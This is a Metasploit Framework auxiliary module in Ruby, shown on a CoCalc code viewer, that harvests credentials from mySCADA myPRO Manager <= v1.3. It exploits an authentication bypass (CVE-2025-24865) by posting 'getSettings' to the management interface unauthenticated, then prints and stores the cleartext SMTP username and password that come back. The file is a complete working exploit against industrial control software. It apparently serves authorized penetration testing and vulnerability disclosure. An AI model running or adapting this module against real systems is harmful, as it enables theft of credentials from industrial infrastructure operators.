CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/mypro_mgr_creds.rb
Views: 18092
1
class MetasploitModule < Msf::Auxiliary
2
include Msf::Exploit::Remote::HttpClient
3
prepend Msf::Exploit::Remote::AutoCheck
4
CheckCode = Exploit::CheckCode
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)',
11
'Description' => %q{
12
Credential Harvester in MyPRO Manager <= v1.3 from mySCADA.
13
The product suffers from a broken authentication vulnerability (CVE-2025-24865) for certain functions. One of them is the configuration page for notifications, which returns the cleartext credentials (CVE-2025-22896) before correctly veryfing that the associated request is coming from an authenticated and authorized entity.
14
},
15
'License' => MSF_LICENSE,
16
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17
'References' => [
18
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16'],
19
[ 'CVE', '2025-24865'],
20
[ 'CVE', '2025-22896']
21
],
22
'DisclosureDate' => '2025-02-13',
23
'DefaultOptions' => {
24
'RPORT' => 34022,
25
'SSL' => 'False'
26
},
27
'Platform' => 'win',
28
'Arch' => [ ARCH_CMD ],
29
'Targets' => [
30
[
31
'Windows_Fetch',
32
{
33
'Arch' => [ ARCH_CMD ],
34
'Platform' => 'win',
35
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
36
'Type' => :win_fetch
37
}
38
]
39
],
40
'DefaultTarget' => 0,
41
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'Reliability' => [REPEATABLE_SESSION],
45
'SideEffects' => [IOC_IN_LOGS]
46
}
47
)
48
)
49
50
register_options(
51
[
52
OptString.new(
53
'TARGETURI',
54
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
55
)
56
]
57
)
58
end
59
60
def check
61
begin
62
res = send_request_cgi({
63
'method' => 'GET',
64
'uri' => normalize_uri(target_uri.path, 'assets/index-DBkpc6FO.js')
65
})
66
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
67
return CheckCode::Unknown
68
end
69
70
if res.to_s =~ /const S="([^"]+)"/
71
version = ::Regexp.last_match(1)
72
vprint_status('Version retrieved: ' + version)
73
if Rex::Version.new(version) <= Rex::Version.new('1.3')
74
return CheckCode::Appears
75
end
76
77
return CheckCode::Safe
78
end
79
return CheckCode::Unknown
80
end
81
82
def run
83
post_data = {
84
'command' => 'getSettings'
85
}
86
87
res = send_request_cgi({
88
'method' => 'POST',
89
'ctype' => 'application/json',
90
'data' => JSON.generate(post_data),
91
'uri' => normalize_uri(target_uri.path, 'get')
92
})
93
94
fail_with(Failure::Unknown, 'No response from server.') if res.nil?
95
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server.') if res.code != 200
96
print_good('Mail server credentials retrieved:')
97
data = res.get_json_document
98
99
if data.key?('smtp') && data['smtp'].is_a?(Hash)
100
smtp_info = data['smtp']
101
102
host = smtp_info.fetch('host', 'Unknown Host')
103
port = smtp_info.fetch('port', 'Unknown Port')
104
auth = smtp_info.fetch('auth', 'Unknown Auth')
105
user = smtp_info.fetch('user', 'Unknown User')
106
passw = smtp_info.fetch('pass', 'Unknown Password')
107
108
print_good("Host: #{host}")
109
print_good("Port: #{port}")
110
print_good("Auth Type: #{auth}")
111
print_good("User: #{user}")
112
print_good("Password: #{passw}")
113
114
unless user == 'Unknown User' || passw == 'Unknown Password'
115
store_valid_credential(user: user, private: passw, proof: data.to_s)
116
end
117
end
118
end
119
120
end
121
122